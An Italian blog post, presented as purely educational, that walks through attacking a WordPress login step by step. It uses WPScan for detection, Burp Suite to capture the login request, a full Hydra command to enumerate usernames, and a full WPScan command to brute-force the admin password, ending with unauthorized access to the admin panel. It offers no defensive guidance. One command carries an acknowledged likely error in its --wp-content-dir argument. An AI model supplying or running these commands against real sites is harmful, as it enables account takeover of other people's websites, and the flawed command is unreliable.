Hacking: Wordpress

  

WordPress Hacking

La seguente procedura è a scopo puramente didattico per comprendere come si muovono i malintenzionati e imparare a difendere il proprio sito wordpress conoscendo le loro tecniche.

Identificare se il sito usa WordPress

  • Verifica manualmente se l'URL tuodominio.xxx/wp-admin restituisce la pagina di login.
  • Metodo più "nerd": Usa WPScan (spesso preinstallato su Kali Linux):
    wpscan --url www.sitotarget.xxx

Scoprire il Nome Utente Admin (con Burp Suite)

  • Avvia Burp Suite
  • Configura Burp:
    Crea un nuovo progetto temporaneo
    Aggiungi l'URL del sito target a Target -> Scope.
  • Configura il Proxy del Browser:
    Vai alle Impostazioni di Rete -> Proxy
    Seleziona "Configurazione manuale del proxy"
    Inserisci IP 127.0.0.1 e Porta 8080
    Spunta "Usa questo server proxy per tutti i protocolli"
  • Cattura la Richiesta di Login:
    In Burp, vai alla scheda Proxy
    Nel browser (configurato con il proxy), vai alla pagina di login di WordPress (/wp-login.php)
    Inserisci credenziali casuali e tenta il login
    Esamina la richiesta HTTP POST catturata da Burp per vedere la struttura dei dati inviati (es. log=nomeutente&pwd=password...). Questo ti serve per il passo successivo con Hydra.

Ottenere un Dizionario di Nomi Utente

  • Scarica dizionari comuni (es., da CrackStation) o creane uno personalizzato basato su informazioni relative al target. Salvalo in un file (es. dizionario.txt).

Brute-force dei Nomi Utente (con Hydra)

  • Usa Hydra per testare la lista di nomi utente contro la pagina di login, usando la struttura della richiesta identificata con Burp:
    hydra -V -L dizionario.txt -p whatever 192.168.1.1 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'
    -V: Modalità verbosa (mostra dettagli)
    -L dizionario.txt: Specifica il file con la lista di username da provare (^USER^)
    -p whatever: Usa una password fissa (non ci interessa ora)
    192.168.1.1: Sostituisci con l'IP del target
  • http-post-form '...': Specifica il tipo di attacco e i parametri del form. ^USER^ e ^PASS^ sono placeholder. F=Invalid username indica a Hydra quale messaggio cercare per capire che un tentativo è fallito (adatta questo messaggio se necessario)

Brute-force della Password (con WPScan)

  • Una volta trovato un nome utente valido (es. admin), usa WPScan (o Hydra) per trovare la password associata, usando un dizionario di password (es. /usr/share/wordlists/password.txt.gz):

    wpscan --url http://sitotarget.xxxx/wp-login.php --passwords /usr/share/wordlists/password.txt.gz --usernames admin --wp-content-dir http://sitotarget.xxxx/wp-login.php

    --url: L'URL della pagina di login
    --passwords: Il percorso del dizionario di password
    --usernames: L'username trovato nel passo precedente
    --wp-content-dir: Nota: nel comando originale questo punta alla pagina di login, potrebbe essere un errore nel testo sorgente o un uso specifico; riportato come nell'originale

Se l'attacco ha successo, si ottengono le credenziali valide (username e password), permettendo l'accesso non autorizzato al pannello di amministrazione di WordPress.

Commenti

Post popolari in questo blog

Rivoluzionare la Produttività: Guida a NotebookLM

Da Hacker Ricercato a Manager

Coding: FileVox - Sito Podcast Veloce e Moderno con un Singolo File PHP, Senza DB